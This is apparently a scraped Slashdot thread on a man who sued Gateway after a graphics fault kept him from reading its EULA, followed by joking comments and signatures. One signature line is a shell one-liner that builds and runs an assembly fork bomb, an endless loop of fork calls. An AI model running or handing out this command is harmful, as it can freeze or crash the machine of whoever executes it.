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Man Sues Gateway Because He Can't Read EULA
Scoopy writes "California resident Dennis Sheehan took Gateway to small claims court after he reportedly received a defective computer and little technical support from the PC manufacturer. Gateway responded with their own lawyer and a 2-inch thick stack of legal docs, and claimed that Sheehan violated the EULA, which requires that users give up their right to sue and settle these cases in private arbitration. Sheehan responded that he never read the EULA, which pops up when the user first starts the computer, because the graphics were scrambled — precisely the problem he had complained to tech support in the first place. A judge sided with Sheehan on May 24 and the case will proceed to small claims court. A lawyer is quoted as saying that Sheehan, a high school dropout who is arguing his own case, is in for a world of hurt: 'This poor guy now faces daunting reality of having to litigate this on appeal against Gateway...By winning, he's lost.'"
However good this guy may be, he's gonna have a hard time handling this without a computer!
Everything and everyone is an aspect of Gd. So remember to show proper respect!
poor guy?
Poor guy? Yes, create more pity for him. After all, you sold him a defective computer, then refused to fix it. Then let the situation make it all the way to small claims court. You've got him right you want him.
Absolutely. I am almost done reading an EULA on my other PC. When I am done, I look forward to finishing building my Win 95 system, working off of 3.1 sucks!
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My grandfather did. He printed every single one of them out. Read them, and put them in a binder. He's dead now. I think the EULA's killed him.
... that have the EULA in print?
.WAV of the EULA played through the speakers (including the motherboard P.O.S.T speaker) as well as read it on the screen.
Actually, thanks to this guy, every Gateway purchaser will have to listen to a
-- 3 events that reshaped the world in the 20th century: WW1, WW2, and WWW
Although maybe a judge would use slightly different wording. ;)
Gateway is pretty voracious in a legal setting. Having sued everyone out of existence that used the word 'Gateway' or the 'Cow spot design'; I suspect this guy is in deep shit. Yes; Gateway sued dairy companies because people apparently associate cows with computers, not dairy products, and they wanted to keep it that way. I'm posting this anonymously so gateway doesn't sue me or try to take away my plush cow slippers.
That would risk a counter suit for misusing the EULA. The EULA is a license, not a means of suicide.
Fascism trolls keeping me up every night. When I starts a preachin', he HITS ME WITH HIS REICH!
You guys must sell a whole lot of weed.
You're using her as bait, Master!
Whaaa??? I am gonna so kick Master's ass when he gets home!
This is America. We've been surrendering our rights for the past 50 years with a dumb smile on our faces.
I'm sorry, I believe you misspelled "about 225".
Myself, I dropped out of high school and started working at 15, as a Lotus Notes developer
Wow. You should make a PSA. If that doesn't scare kids into staying in school, I don't know what will.
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When information is power, privacy is freedom.
He did it was a joint venture.
A lot of posts here are easier to read if you mentally replace IANAL with EOF, i.e. stop reading at that point.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
This mix-and-match shit has got to go.
So true. I was just about to purchase several hundred Gateway PCs. Now I'm reconsidering it....
Ha!, I'm going to kick my wife too...
You must be new around here.
Heck, try getting one when you can't even spell diploma.
Promote proofreading. Don't mod up sloppy posts.
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I agree with you.
Yeah, but you didn't click the 'I agree' button.I make a reasonable middle-class wage by going to work and not spamming blogs with scams.
Another satisfied customer.
To have a right to do a thing is not at all the same as to be right in doing it